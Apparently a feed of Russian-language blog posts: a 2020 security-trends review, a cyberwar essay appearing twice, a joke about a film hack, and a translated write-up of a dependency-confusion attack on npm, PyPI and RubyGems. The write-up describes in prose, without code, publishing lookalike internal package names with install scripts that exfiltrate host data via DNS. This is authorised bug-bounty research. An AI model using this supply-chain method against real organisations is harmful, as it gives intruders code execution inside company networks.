В 2020 году многие аспекты повседневной жизни серьезно изменились. Всеобщая удаленка и рекордная цифровизация большинства отраслей не могла не трансформировать и ландшафт информационной безопасности. Рассказываем о наиболее интересных и заметных изменениях в ИБ-отрасли, а также о новых киберугрозах.



Шифровальщики, киберкартели, персональный фишинг и другие угрозы


Атаки на домашние рабочие места


На удаленке информационная безопасность сотрудника зависит только от него самого. По данным Positive Technologies, к концу 2020 года втрое выросло количество атак, которые эксплуатируют уязвимости интернет-сервисов для работы. Популярный сценарий похищение учетных данных для подключения к корпоративным системам и получение несанкционированного доступа к рабочим конференциям. По прогнозам, количество таких атак будет увеличиваться.

Шифровальщики и инструменты шантажа


В течение всего 2020 года росло число атак шифровальщиков вредоносного ПО, которое шифрует данные, блокирует работу и нередко требует выкуп. С первый по третий квартал количество такого рода атак удвоилось. Причем в качестве цели их создатели выбирают как правило не абстрактное множество пользователей, а конкретных представителей крупных компаний, которые могут заплатить большой выкуп и для которых жизненно важно продолжать работать.

Также популярность приобрел шантаж украденными приватными данными. Примеры ПО для шантажа: Maze, Sodinokibi, DoppelPaymer, NetWalker, Ako, Nefilim, Clop. Это превратилось в полноценную индустрию: злоумышленники даже создали собственные сайты и аукционы для продажи похищенной информации.

Еще одна вариация такой активности злоумышленники похищают компрометирующие данные активности в интернет-магазине (например, о покупках в секс-шопе) и предлагают заплатить, чтобы информацию не продали третьим лицам.

По некоторым прогнозам, вымогатели смогут добраться даже до облачных репозиториев.

Новые киберкартели


Как следствие, скоро появится множество новых хакерских объединений и площадок в теневом интернете. Мотивация проста совместно атаковать привлекательную цель и заработать на этом хорошие деньги. Их, как и прежде, будут требовать за восстановление работоспособности системы и сохранность украденной информации. Угроза публикацией чувствительных данных по-прежнему в почете у злоумышленников.

Поставщики и промышленный сектор как излюбленная цель хакеров


Сегодня в зоне особого внимания хакеров поставщики услуг и сервисов. В 2020 году было совершено около 200 атак на энергетические и промышленные компании, когда как годом ранее их было 125.

Также есть растущий тренд атак на поставщиков. Так как крупные компании становятся все более сложной целью, в зоне риска разработчики ПО и средств защиты, ИТ-интеграторы, подрядчики ИТ-компаний.

Для защиты от хорошо спланированной атаки нужны высококлассные ИБ-специалисты, а их могут себе позволить далеко не все эти компании. И это повышает вероятность успеха для хакеров. Остановка производства желанная цель для злоумышленников, ведь в таком случае жертва сильно мотивирована заплатить деньги. По этой причине выросли и суммы выкупов. В июне компании Honda и Enel Group стали жертвой нового шифровальщика Snake, созданного специально для остановки важных процессов в промышленных системах управления.

Один из вариантов избежать этого потратить время и ресурсы на детальное исследование всей цепочки поставок вендора, чтобы понимать последствия в случае взлома.

Логические уязвимости в банковских приложениях


Крупные банки хорошо поработали над безопасностью своих приложений: повысили отказоустойчивость, перейдя на микросервисную архитектуру и уменьшили количество стандартных веб-уязвимостей (XSS, SQLi, RCE).

Однако выросло количество логических уязвимостей, которые в конечном итоге могут привести к краже денег, получению хакерами чувствительной информации и, как итог, отказу в обслуживании со стороны банка. Цель хакеров на сегодняшний день даже не полная компрометация системы банковских приложений, а эксплуатация логических уязвимостей.

Персональный фишинг


По-прежнему будут активно использоваться методы социальной инженерии только теперь еще и в актуальном контексте. Например, везде, где есть связь с темой коронавируса. Популярной схемой может стать реклама фишинговых сайтов, на которых будут продаваться псевдопрепараты для лечения Covid-19, псевдовакцина, поддельные справки и так далее.

Также фишинг можеть стать более локальным, направленным на конкретного человека через социальные сети и мессенджеры.

Тренды отрасли


Российский рынок ИБ по итогам прошлого года стал больше на четверть. Вот три основные причины этого.

  • ИБ, как один из ключевых бизнес-процессов компании, становится все актуальнее из-за роста числа угроз и хакеров.
  • Необходимость трат на ИБ становится очевидной для руководства все большего числа организаций.
  • ИБ превратилась из плана, внедрять который будут когда-нибудь в реально используемый инструмент. Это логичным образом увеличивает количество работы и доходов компаний, которые разрабатывают и внедряют средства защиты.

Ускоренная цифровизация бизнеса из-за пандемии и последовавшее появление новых сервисов обязательно станет важной сферой интересов хакеров. Один из вариантов противостояния этому создание своеобразных киберполигонов для тестирования сервисов, технологий и ИТ-инфраструктуры в безопасной среде.

Эксперты различных аналитических центров прогнозируют следующие тренды, к которым следует быть готовым как компаниям, так и обычным пользователям.

  • Компрометация 5G-устройств: они могут быть как каналом распространения вредоносного кода, так и средством для масштабной атаки при совместной автоматизированной работе.
  • Качественные дипфейки для манипуляции мнением людей, дезинформации и обхода биометрии при аутентификации. Также будут подделываться и голосовые сообщения.
  • Злоумышленники уделят особое внимание способам обхода систем многофакторной аутентификации.
  • Opensource-решения и API-интерфейсы будут изучаться злоумышленниками особенно тщательно, так как это относительно легкий путь проникнуть в корпоративную сеть.
  • Стоит ожидать атак на научные центры, занятые проблемой коронавируса.
  • Тема коронавируса будет все активнее использоваться в стратегии атак. В прошлом году ее применяли в фишинговых схемах, чтобы проникнуть в корпоративные сети.

Какое-то время назад в информационной безопасности сместился фокус от построения границ защиты ИТ-инфраструктуры к быстрому обнаружению злоумышленников внутри системы. Пришло понимание, что невозможно создать абсолютно надежную защиту и главная задача не дать хакеру нанести серьезный урон работе компании. Эта точка зрения на ситуацию стала в 2020 году основной и будет оставаться таковой и в ближайшем будущем.

Пример одного из нововведений: при создании SOC в SLA (Service Level Agreement, Соглашение об уровне услуг) одним из главных показателей станет гарантия предотвращения урона организации при проникновении злоумышленника внутрь сети.

Все это благотворно повлияет на отрасль ИБ, качественно ее изменив. В этих условиях выживут только те технологии и решения, которые действительно способны принести измеримый результат, то есть защитить от возможной атаки.

Разумеется, в любой сфере реальная ситуация часто отличается от прогнозируемой Вполне вероятно, что злоумышленники изобретут схемы, которые никто из аналитиков еще не предсказал.



Блог ITGLOBAL.COM Managed IT, частные облака, IaaS, услуги ИБ для бизнеса:

Подробнее..

Кибервойна. Когда 500 Кб кода страшнее межконтинентальной ракеты

23.02.2021 18:07:11 | Автор: admin

Привет, Хабр! Мы искренне поздравляем всех хабровчан с Днём защитника Отечества! И сегодня подготовили интересный тематический материал.

Война никогда не меняется. Думаю, все узнали интро из Fallout 4. Но действительно ли это так? Ведь за последние 20 лет военная сфера изменилась настолько сильно, что практически не имеет ничего общего с масштабными конфликтами прошлого века. Сегодня мы поговорим о современных высокотехнологичных элементах военных действий так называемой кибервойне.



Уже во время холодной войны между СССР и США мировые лидеры поняли, что одна ошибка с любой стороны будет означать не просто начало войны, а практически гарантированное уничтожение всего человечества, ведь к 1967 году обе мировые державы обладали суммарным боезапасом в 40 тысяч ядерных зарядов.

Несколько раз мир буквально висел на волоске. Стоит вспомнить только ложное срабатывание советской космической системы раннего предупреждения Око, зафиксировавшей 26 сентября 1983 года запуск нескольких ракет с американской территории. Оперативный дежурный Станислав Петров, занимавший должность инженера-аналитика, который принял на командном пункте сигнал от Ока усомнился в верности данных. Будучи инженером, он справедливо считал, что компьютер может ошибаться. И его логику несложно понять. В случае начала войны американцы бы использовали весь свой арсенал, а не стали запускать пару ракет с одной базы. Петров сознательно нарушил инструкцию и сказал командиру, что произошло ложное срабатывание системы. Поступи дежурный по инструкции со стороны СССР сразу же последовал бы удар возмездия и мир бы уже не был таким, каким мы его сейчас знаем. Спасший тогда всю планету Станислав Петров получил только выговор.

Локальные конфликты всё ещё были. Даже больше: сверхдержавы не стеснялись противостоять друг другу на чужих территориях. Но с началом четвёртой промышленной революции всё начало постепенно меняться. Сегодня жизнь простых людей, бизнеса и самого государства постепенно уходит онлайн. Это таит новые возможности и новые опасности. Ведь сегодня, чтобы взорвать электростанцию, не обязательно устраивать диверсию и привлекать спецагентов. Достаточно просто загрузить вирус.

Хакеры новые спецагенты


2010 год ознаменовал начало совершенно нового типа военных действий кибернетических.

В сентябре стало известно, что компьютерный вирус Stuxnet нанёс значительный ущерб иранской ядерной программе. Этот червь весом в 500 Кб стал причиной повреждения 1368 из 5000 центрифуг для обогащения урана и отбросил ядерную программу Ирана примерно на два года назад. Ещё раз: 500 килобайт кода на ассемблере, С и С++ частично разрушили инфраструктуру ядерной программы целой страны, которую выстраивали на протяжении десятилетия.

По уровню ущерба действие червя можно сравнить с полноценным налётом ВВС и атакой с воздуха. Но при этом нет никакого риска для живой силы атакующего и военной техники, не тратятся боеприпасы. Для атаки не нужно ничего, кроме куска кода. Уже прошло 10 лет после первого звоночка кибервойн, но до сих пор неясно, насколько серьёзный ущерб могут причинить подобные атаки. Эксперты рассматривают самые пессимистичные варианты вроде подрыва ядерных боеголовок прямо в шахтах запуска.

Некоторые эксперты оценивают угрозу кибервойн настолько высокой, что это заставляет их просыпаться ночью. Ведь по сути ни у одной из существующей стран нет достаточной защиты от киберугроз.

Надежной киберзащиты не существует


Абсолютно. Пусть стратегические объекты вроде ядерных шахт и атомных электростанций защищены довольно хорошо, но возможности кибератак развиваются значительно быстрее, чем навыки защиты от них.

В 2013 году иранские хакеры успешно атаковали программную инфраструктуру небольшой дамбы на севере Нью-Йорка. И это было настолько неожиданно, что ФБР фактически расписалось в своей беспомощности. Представитель Бюро дал комментарий, что если бы террористы попытались перехватить контроль над плотиной Гувера, то скорее всего, им бы это удалось.



Разрушение плотины Гувера или её повреждение грозит затоплением территории свыше 360 кв. км. Пострадают пригороды Лас Вегаса и десятки небольших городов. А Калифорния, Невада и Аризона враз лишатся четверти всех энергетических мощностей. Это была бы колоссальная катастрофа, которую оценивали бы в миллиарды или даже десятки миллиардов долларов.

Для сравнения: так выглядит плотина Bowman Avenue, на которую было совершено нападение:



Никакой стратегической ценности она не имеет, но при этом успешная диверсия показала США опасность кибервойны, в том числе, для них самих. Но это далеко не всё.

Одной из главных опасностей кибервойн, как ни странно, считают Интернет вещей. Ведь, чем больше девайсов подключено к глобальной сети, тем шире возможности использовать их во вред. Безопасность Интернета вещей настолько слаба, что опасность может представлять обычный чайник, холодильник или даже унитаз.

Понятно, что режимные объекты не имеют выходов в сеть и охраняются куда строже. Но от человеческого фактора и многоступенчатых диверсий это не уберегает.

У любого режимного объекта очень сложная техническая структура. Но время от времени им тоже нужны технические апгрейды. Контролировать их производство на каждом отдельном этапе практически невозможно в создании программных частей принимают участие сотни и тысячи людей. Заразить даже партию чипов на стадии производства проще, чем может показаться. И если заражённый чип попадёт в панель управления, то его в перспективе можно использовать для кибератаки.

Проблемы международной политики


Еще одна серьёзная проблема реакция государства на кибератаки. В истории уже был прецедент, когда израильские силы нанесли воздушный удар в ответ на кибератаку со стороны иранских хакеров.

В мае 2019 года израильские ВВС уничтожили здание в городе Газа, в котором размещались основные компьютерные мощности Хамаса организации, признанной террористической в Израиле. Заметим, авиаудар был нанесён по вполне себе жилому кварталу.



Один из основных принципов военных действий гласит, что ответ на атаку должен быть пропорционален самой атаке. Но сложность заключается в том, что оценить перспективную угрозу невозможно.

Если спутник может оценить количество боевых подразделений и тяжёлого вооружения, а также их возможные цели, то выяснить мощности и цели кибератак невозможно. Но даже если учесть, что целью кибератак могут стать стратегические пункты вроде ядерных шахт или электростанций, подобные превентивные удары по компьютерным базам находятся глубоко в серой зоне и не отвечают принципам ведения военных действий.

ООН и НАТО должны были разработать международные законы ведения кибервойн еще в 2014 году. Но, по состоянию на начало 2021 года, их всё ещё нет. Потому что до сих пор неясно, насколько опасной может быть кибервойна и как вообще её можно регулировать. Есть только рекомендательные правила, которые не имеют законодательной силы.

В 2013 году эксперты НАТО подготовили документ под названием Таллинское руководство по ведению кибервойн, где в 95 пунктах расписали правила ведения военных действий с помощью киберпространства. В 2017 году их дополнили до 154 правил.

По сути, Руководство в редакции 2017 года уже охватывает все или практически все возможные варианты кибератак, но не носит обязательного характера. Чтобы они стали обязательными для стран, необходима колоссальная законодательная и политическая работа.

Развитые страны разрабатывают собственные доктрины кибербезопасности. Но, по сути, это только внутренние правила, что считать элементами кибервойн, как защищаться от кибератак и как на них реагировать. До единой и общепринятой системы ещё очень далеко.

Простые граждане часто ошибочно понимают, что такое кибервойна. Говорящие головы с экранов и дезинформация в новостях это только элемент политики. Настоящая же кибервойна начнётся в тот момент, когда в одночасье пропадут мобильная связь, Интернет и начнут взрываться АЭС вместе с шахтами межконтинентальных ракет.

И здесь как раз стоит вспомнить высказывание Эйнштейна: Я не знаю, каким оружием будут сражаться в Третьей мировой войне, но в Четвёртой будут использовать камни и палки.

Собственно, мировому сообществу уже давно пора осознать, что кибервойна может быть не менее опасной, чем полноценное военное столкновение между государствами. Здесь другие плацдармы, другие воины, другие боеприпасы. Но смысл один война, к сожалению, никогда не меняется. Но вполне в наших силах не допустить её. Всем мира!

image
Узнайте подробности, как получить Level Up по навыкам и зарплате или востребованную профессию с нуля, пройдя онлайн-курсы SkillFactory со скидкой 40% и промокодом HABR, который даст еще +10% скидки на обучение:

Подробнее..

Recovery mode Кибервойна. Когда 500 Кб кода страшнее межконтинентальной ракеты

23.02.2021 20:21:55 | Автор: admin

Привет, Хабр! Мы искренне поздравляем всех хабровчан с Днём защитника Отечества! И сегодня подготовили интересный тематический материал.

Война никогда не меняется. Думаю, все узнали интро из Fallout. Но действительно ли это так? Ведь за последние 20 лет военная сфера изменилась настолько сильно, что практически не имеет ничего общего с масштабными конфликтами прошлого века. Сегодня мы поговорим о современных высокотехнологичных элементах военных действий так называемой кибервойне.



Уже во время холодной войны между СССР и США мировые лидеры поняли, что одна ошибка с любой стороны будет означать не просто начало войны, а практически гарантированное уничтожение всего человечества, ведь к 1967 году обе мировые державы обладали суммарным боезапасом в 40 тысяч ядерных зарядов.

Несколько раз мир буквально висел на волоске. Стоит вспомнить только ложное срабатывание советской космической системы раннего предупреждения Око, зафиксировавшей 26 сентября 1983 года запуск нескольких ракет с американской территории. Оперативный дежурный Станислав Петров, занимавший должность инженера-аналитика, который принял на командном пункте сигнал от Ока усомнился в верности данных. Будучи инженером, он справедливо считал, что компьютер может ошибаться. И его логику несложно понять. В случае начала войны американцы бы использовали весь свой арсенал, а не стали запускать пару ракет с одной базы. Петров сознательно нарушил инструкцию и сказал командиру, что произошло ложное срабатывание системы. Поступи дежурный по инструкции со стороны СССР сразу же последовал бы удар возмездия и никого из нас не было бы в живых. Никто, кому сейчас младше 37 лет, вообще не появился бы на свет.

Спасший тогда всю планету Станислав Петров получил только выговор. Эта история была подробно описана в книге Дэвида Хоффмана Мертвая рука одном из главных мировых произведений о холодной войне.

Локальные конфликты всё ещё были. Даже больше: сверхдержавы не стеснялись противостоять друг другу на чужих территориях. Но с началом четвёртой промышленной революции всё начало постепенно меняться. Сегодня жизнь простых людей, бизнеса и самого государства постепенно уходит в онлайн. Это таит новые возможности и новые опасности. Ведь сегодня, чтобы взорвать электростанцию, не обязательно устраивать диверсию и привлекать спецагентов. Достаточно просто загрузить вирус.

Хакеры новые спецагенты


2010 год ознаменовал начало совершенно нового типа военных действий кибернетических.

В сентябре стало известно, что компьютерный вирус Stuxnet нанёс значительный ущерб иранской ядерной программе. Этот червь весом в 500 Кб стал причиной повреждения 1368 из 5000 центрифуг для обогащения урана и отбросил ядерную программу Ирана примерно на два года назад. Ещё раз: 500 килобайт кода на ассемблере, С и С++ частично разрушили инфраструктуру ядерной программы целой страны, которую выстраивали на протяжении десятилетия.

По уровню ущерба действие червя можно сравнить с полноценным налётом ВВС и атакой с воздуха. Но при этом нет никакого риска для живой силы атакующего и военной техники, не тратятся боеприпасы. Для атаки не нужно ничего, кроме куска кода. Уже прошло 10 лет после первого звоночка кибервойн, но до сих пор неясно, насколько серьёзный ущерб могут причинить подобные атаки. Эксперты рассматривают самые пессимистичные варианты вроде подрыва ядерных боеголовок прямо в шахтах запуска.

Некоторые эксперты оценивают угрозу кибервойн настолько высоко, что это заставляет их просыпаться ночью. Ведь по сути ни у одной из существующих стран нет достаточной защиты от киберугроз.

Надежной киберзащиты не существует


Абсолютно. Пусть стратегические объекты вроде ядерных шахт и атомных электростанций защищены довольно хорошо, но возможности кибератак развиваются значительно быстрее, чем навыки защиты от них.

В 2013 году иранские хакеры успешно атаковали программную инфраструктуру небольшой дамбы на севере Нью-Йорка. И это было настолько неожиданно, что ФБР фактически расписалось в своей беспомощности. Представитель Бюро дал комментарий, что если бы террористы попытались перехватить контроль над плотиной Гувера, то скорее всего, им бы это удалось.



Разрушение плотины Гувера или её повреждение грозит затоплением территории свыше 360 кв. км. Пострадают пригороды Лас-Вегаса и десятки небольших городов. А Калифорния, Невада и Аризона враз лишатся четверти всех энергетических мощностей. Это была бы колоссальная катастрофа, которую оценивали бы в миллиарды или даже десятки миллиардов долларов.

Для сравнения: так выглядит плотина Bowman Avenue, на которую было совершено нападение:



Никакой стратегической ценности она не имеет, но при этом успешная диверсия показала США опасность кибервойны, в том числе, для них самих. Но это далеко не всё.

Одной из главных опасностей кибервойн, как ни странно, считают Интернет вещей. Ведь, чем больше девайсов подключено к глобальной сети, тем шире возможности использовать их во вред. Безопасность Интернета вещей настолько слаба, что опасность может представлять обычный чайник, холодильник или даже унитаз.

Понятно, что режимные объекты не имеют выходов в сеть и охраняются куда строже. Но от человеческого фактора и многоступенчатых диверсий это не уберегает.

У любого режимного объекта очень сложная техническая структура. Но время от времени им тоже нужны технические апгрейды. Контролировать их производство на каждом отдельном этапе практически невозможно в создании программных частей принимают участие сотни и тысячи людей. Заразить даже партию чипов на стадии производства проще, чем может показаться. И если заражённый чип попадёт в панель управления, то его в перспективе можно использовать для кибератаки.

Проблемы международной политики


Еще одна серьёзная проблема реакция государства на кибератаки. В истории уже был прецедент, когда израильские силы нанесли воздушный удар в ответ на кибератаку со стороны иранских хакеров.

В мае 2019 года израильские ВВС уничтожили здание в городе Газа, в котором размещались основные компьютерные мощности Хамаса организации, признанной террористической в Израиле. Заметим, авиаудар был нанесён по вполне себе жилому кварталу.



Один из основных принципов военных действий гласит, что ответ на атаку должен быть пропорционален самой атаке. Но сложность заключается в том, что оценить перспективную угрозу невозможно.

Если спутник может оценить количество боевых подразделений и тяжёлого вооружения, а также их возможные цели, то выяснить мощности и цели кибератак невозможно. Но даже если учесть, что целью кибератак могут стать стратегические пункты вроде ядерных шахт или электростанций, подобные превентивные удары по компьютерным базам находятся глубоко в серой зоне и не отвечают принципам ведения военных действий.

ООН и НАТО должны были разработать международные законы ведения кибервойн еще в 2014 году. Но, по состоянию на начало 2021 года, их всё ещё нет. Потому что до сих пор неясно, насколько опасной может быть кибервойна и как вообще её можно регулировать. Есть только рекомендательные правила, которые не имеют законодательной силы.

В 2013 году эксперты НАТО подготовили документ под названием Таллинское руководство по ведению кибервойн, где в 95 пунктах расписали правила ведения военных действий с помощью киберпространства. В 2017 году их дополнили до 154 правил.

По сути, Руководство в редакции 2017 года уже охватывает все или практически все возможные варианты кибератак, но не носит обязательного характера. Чтобы они стали обязательными для стран, необходима колоссальная законодательная и политическая работа.

Развитые страны разрабатывают собственные доктрины кибербезопасности. Но, по сути, это только внутренние правила, что считать элементами кибервойн, как защищаться от кибератак и как на них реагировать. До единой и общепринятой системы ещё очень далеко.

Простые граждане часто ошибочно понимают, что такое кибервойна. Говорящие головы с экранов и дезинформация в новостях это только элемент политики. Настоящая же кибервойна начнётся в тот момент, когда в одночасье пропадут мобильная связь, Интернет и начнут взрываться АЭС вместе с шахтами межконтинентальных ракет.

И здесь как раз стоит вспомнить высказывание Эйнштейна: Я не знаю, каким оружием будут сражаться в Третьей мировой войне, но в Четвёртой будут использовать камни и палки.

Собственно, мировому сообществу уже давно пора осознать, что кибервойна может быть не менее опасной, чем полноценное военное столкновение между государствами. Здесь другие плацдармы, другие воины, другие боеприпасы. Но смысл один война, к сожалению, никогда не меняется. Но вполне в наших силах не допустить её. Всем мира!

image
Узнайте подробности, как получить Level Up по навыкам и зарплате или востребованную профессию с нуля, пройдя онлайн-курсы SkillFactory со скидкой 40% и промокодом HABR, который даст еще +10% скидки на обучение:

Подробнее..

Как взломать систему безопасности с помощью датчика температуры DHT11, а все произошло из-за птичек и вышек 5G

01.04.2021 22:22:46 | Автор: admin
фильм Робот 2.0

Кинематограф стал неотъемлемой частью нашей жизни. Сопереживая героям, мы слово проживаем вторую жизнь, смотрим на мир глазами героев, начинаем смотреть на некоторые вещи иначе. Иногда для упрощения или достижения некоторых сюжетных сцен, режиссеры и сценаристы идут на допущения, которые в нашей жизни невозможны. Но во вселенной фильма, нет ничего невозможного. Могли ли Вы себе представить, что с помощью температурного датчика DH11, который подключается к Arduino, можно в легкую взломать систему безопасности? А вот во вселенной индийского фильма Робот 2.0, 2018 года это возможно.

Фильм Робот 2.0 повествует о душераздирающей истории о пагубном влияние вышек 5G на птичек. Когда давным давно, во время отсутствия мобильной связи и Интернета, в Индии была идиллия, люди жили в гармонии с природой. Но все изменилось с приходом мобильной связи. Пакши Раджана, орнитолог, большой любитель птичек, выяснил, что оказывается вышки 5G в мозгу птичек ломают систему навигации, и они дезориентированные, камнем летят в сторону земли и разбиваются в лепешку. Очень печальная история. Орнитолог попытался призвать людей прекратить пользоваться мобильными телефонами, но кто его послушает, людям гораздо важнее поставить лайки, сделать репосты, селфи. А птички, да кому они нужны. В общем, для защиты природы Пакши Раджан решил избавить мир от телефонов и заодно и от людишек.

И тут на сцену выходит протагонист, ученый, профессор Васигаран, промышлявший созданием боевых роботов. В сложившейся ситуации он увидел для себя выгоду. Если его армия роботов одолеет сошедшего с ума орнитолога, то он сможет получить хороший госконтракт от государства на поставку роботов. Одних боевых дронов было недостаточно, поэтому профессор создал вундервафлю, которая работала как протонный ранец у охотников приведений для поимки призраков. По итогу вундервафля всосала орнитолога и упаковало его в пирамидку. А пирамидку отправили на хранение в научный центр.

Увидев таких прекрасных роботов, власти тут же отдали госконтракт профессору Васигарану. Но госконтракт рассчитывал получить другой ученый Дхинедра. Он проник в научный центр, в котором хранилась пирамидка с запакованным орнитологом, отключил видеокамеры наблюдений, и с помощью температурного датчика DHT11 подобрал секретный ключ для открытия хранилища.

Датчик DHT11 прикрепленный в терминалу ввода пин-кода:
фильм Робот 2.0

Идет напряженный взлом:
фильм Робот 2.0

Все, подобрали пароль, а красная лампочка даже и не моргнула:
фильм Робот 2.0

Датчик скорее всего был куплен в известном китайском магазине.
Идентифицируется по признакам: голубому цвету пластикового корпуса, трем контактам, и наличию красной лампочки.

Страничка покупки датчика:
DHT11

Датчик DHT11:
фильм Робот 2.0 DHT11

DHT11 цифровой датчик замера влажности и температуры, второй по популярности после DS18B20, состоящий из термистора и емкостного датчика влажности. Также датчик содержит в себе АЦП для преобразования аналоговых значений влажности и температуры. Датчик DHT11 не обладают высоким быстродействием и точностью, но зато прост, недорог и отлично подходят для обучения и контроля влажности в помещении.

Фрагмент взлома системы безопасности из фильма можно посмотреть на 0:58 минуте (Youtube не дает залить ролик).

Вот и все!

А какие сцены с компьютерными приколюхами, Вам больше всего запомнились в фильмах?
Подробнее..

Перевод Путаница зависимостей. Как я взломал Apple, Microsoft и десятки других компаний

02.04.2021 20:22:21 | Автор: admin

С тех пор как я начал учиться программировать, я восхищаюсь уровнем доверия, который мы вкладываем в простую команду, подобную этой:

pip install package_name

В некоторых языках программирования, таких как Python, это простой, более или менее официальный способ установки зависимостей для ваших проектов. Такие установщики обычно привязаны к публичным репозиториям кода, куда каждый может свободно загружать пакеты кода для использования другими пользователями.

Вы, наверное, уже слышали о таких инструментах у Node есть менеджер npm и реестр npm, система управления пакетами pip языка Python использует PyPI (Python Package Index), а систему gems для языка Ruby можно найти на сайте RubyGems.

Загрузив и установив пакет из любого из этих источников, вы, по сути, доверяете его издателю, запуская соответствующий код на своём компьютере. Так может ли эта слепая вера быть использована злоумышленниками?


Конечно, может.

Ни одна из служб размещения пакетов не может гарантировать, что весь код, загружаемый её пользователями, не содержит вредоносных программ. Прошлое исследование показало, что typosquatting атака с использованием версий имён популярных пакетов с опечатками может быть невероятно эффективной при получении доступа к случайным компьютерам по всему миру.

Другие хорошо известные пути атаки цепочек зависимостей включают использование различных методов компрометации существующих пакетов или загрузку вредоносного кода под именами зависимостей, которых больше не существует.

Идея

Пытаясь взломать PayPal вместе со мной летом 2020 года, Джастин Гарднер поделился интересным фрагментом исходного кода Node.js, найденного в GitHub.

Код предназначался для внутреннего использования в PayPal, и в его файле package.json, по-видимому, содержалась смесь публичных и частных зависимостей публичные пакеты от npm, а также имена непубличных пакетов, скорее всего, размещённых внутри PayPal. В то время этих имён не было в публичном реестре npm.

С логикой, диктующей, какой пакет должен быть получен из неясного здесь источника, возникло несколько вопросов:

  • Что произойдёт при загрузке в npm вредоносного кода с этими именами? Возможно ли, что некоторые внутренние проекты PayPal начнут по умолчанию переходить на новые публичные пакеты вместо частных?

  • Начнут ли разработчики или даже автоматизированные системы выполнять код внутри библиотек?

  • Если это сработает, сможем ли мы получить за это вознаграждение?

  • Сработает ли такая атака и против других компаний?

Без лишних церемоний я стал разрабатывать план, чтобы ответить на эти вопросы.

Идея заключалась в загрузке собственных вредоносных пакетов Node в реестр npm под всеми невостребованными именами, которые будут звонить домой с каждого компьютера, на котором они были установлены. Если какой-либо из пакетов в итоге устанавливается на серверах, принадлежащих PayPal, или в любом другом месте, то содержащийся в них код немедленно уведомляет меня.

На данном этапе я считаю важным пояснить, что каждая отдельная организация, которая служила целью во время этого исследования, предоставила разрешение на проверку своей безопасности либо в рамках общедоступных программ вознаграждения за нахождение ошибок, либо посредством частных соглашений. Пожалуйста, не пытайтесь проводить такой тест без разрешения.

Это всегда DNS

К счастью, npm позволяет при установке пакета автоматически выполнять произвольный код, что облегчает создание пакета Node, который собирает некоторую базовую информацию о каждом компьютере, на котором он установлен, с помощью своего сценария preinstall.

Чтобы найти баланс между возможностью идентифицировать организацию на основе данных и необходимостью избегать сбора слишком большого количества конфиденциальной информации, я остановился только на регистрации имени пользователя, имени хоста и текущего пути каждой уникальной установки. Наряду с внешними IP-адресами этого было достаточно, чтобы помочь специалистам по безопасности выявить потенциально уязвимые системы на основе моих отчётов, избегая при этом того, чтобы моё тестирование было ошибочно принято за реальную атаку.

Остался только вопрос: как мне вернуть эти данные?

Зная, что большинство возможных целей находится глубоко внутри хорошо защищённых корпоративных сетей, я решил, что кража данных DNS это правильный путь.

Отправка информации моему серверу по протоколу DNS не была важна для работы самого теста, но она указывала на меньшую вероятность блокировки трафика и его обнаружения на выходе.Данные в шестнадцатеричной кодировке использовались как часть DNS-запроса, который достигал моего собственного полномочного сервера доменных имён напрямую или через промежуточные сопоставители. Сервер был настроен для регистрации каждого полученного запроса, по сути, сохраняя запись каждого компьютера, в который были загружены пакеты.

Чем больше, тем лучше

Теперь, после завершения подготовки плана атаки, пришло время обнаружить больше возможных целей.

Первая стратегия заключалась в поиске альтернативных экосистем для атаки. Поэтому я перенёс код как на Python, так и на Ruby, чтобы можно было загружать аналогичные пакеты в PyPI (Python Package Index) и RubyGems соответственно.

Однако, возможно, самой важной частью этого теста был поиск максимально возможного количества значимых имён зависимостей.

Несколько полных дней поиска имён частных пакетов, принадлежащих некоторым целевым компаниям, показали, что многие другие имена можно найти в GitHub, а также в основных службах размещения пакетов во внутренних пакетах, которые были случайно опубликованы, и даже в сообщениях на различных интернет-форумах.

Однако, оказалось, что лучше всего искать имена частных пакетов... в файлах JavaScript.

Видимо, довольно часто внутренние файлы package.json с именами зависимостей проектов JavaScript, встраиваются в общедоступные файлы сценариев во время их сборки, раскрывая имена внутренних пакетов. Точно так же получаемые по каналам утечки внутренние пути или вызовы require() в таких файлах также могут содержать имена зависимостей. Apple, Yelp и Tesla это лишь несколько примеров компаний, у которых внутренние имена были раскрыты таким образом.

Во второй половине 2020 года, благодаря помощи пользователя @streaak и его замечательным навыкам реконструкции, мы смогли автоматически просканировать миллионы доменов, принадлежащих целевым компаниям, и извлечь сотни дополнительных имён пакетов JavaScript, которые ещё не были заявлены в реестре npm.Затем я загрузил свой код в службу размещения пакетов под всеми найденными именами и стал ждать обратных вызовов.

Результаты

Успех был просто поразительным.

От единичных ошибок, допущенных разработчиками на собственных компьютерах, до неправильно сконфигурированных внутренних или облачных серверов сборки, до системно уязвимых конвейеров разработки, было ясно одно: использование действительных имён внутренних пакетов было способом, который почти наверняка позволял проникнуть в сети некоторых крупнейших технологических компаний, получить доступ к удалённому выполнению кода и, возможно, позволить злоумышленникам добавлять бэкдоры во время сборки.

На тот момент уязвимость этого типа, которую я начал называть путаницей зависимостей, была обнаружен более чем в 35 организациях, во всех трёх тестируемых языках программирования. У подавляющего большинства затронутых компаний больше 1000 сотрудников, что, скорее всего, отражает более высокую распространённость внутреннего использования библиотек в более крупных организациях.

Поскольку имена зависимостей JavaScript легче найти, почти 75% всех зарегистрированных обратных вызовов исходили из пакетов npm, но это не обязательно означает, что Python и Ruby менее восприимчивы к такой атаке. На самом деле, несмотря на то что во время моих поисков мне удалось идентифицировать лишь внутренние имена gem для Ruby, принадлежащие восьми организациям, четыре из этих компаний оказались уязвимыми для путаницы зависимостей посредством RubyGems.

Одна такая компания канадский гигант электронной коммерции Giant Shopify, система сборки которой автоматически устанавливала пакет gem для Ruby с именем shopify-cloud всего лишь через несколько часов после того, как я его загрузил, а затем попытался выполнить код внутри него. Специалисты Shopify подготовили исправление в течение дня, а за обнаружение ошибки была присуждена награда в размере 30000 долларов.

Ещё одна награда в размере 30000 долларов была получена от Apple после того, как код в пакете Node, который я загрузил в npm в августе 2020 года, был выполнен на нескольких компьютерах внутри сети этой компании. Затронутые проекты оказались связаны с системой аутентификации Apple, известной за пределами компании как Apple ID.

Когда я подал идею о том, что эта ошибка, возможно, позволяла злоумышленникам внедрять бэкдоры в Apple ID, в компании Apple не посчитали, что этот уровень воздействия точно отражает проблему, и заявили:

Реализация бэкдора в оперативной службе требует более сложной последовательности событий, и это очень специфический термин, который несёт в себе дополнительные коннотации.

Однако в компании Apple подтвердили возможность удалённого выполнения кода на серверах Apple с помощью этой технологии пакетов npm. Судя по потоку установок пакетов, проблема была исправлена в течение двух недель после моего отчёта, но премия за обнаружение ошибки была присуждена менее чем за день до этой публикации.

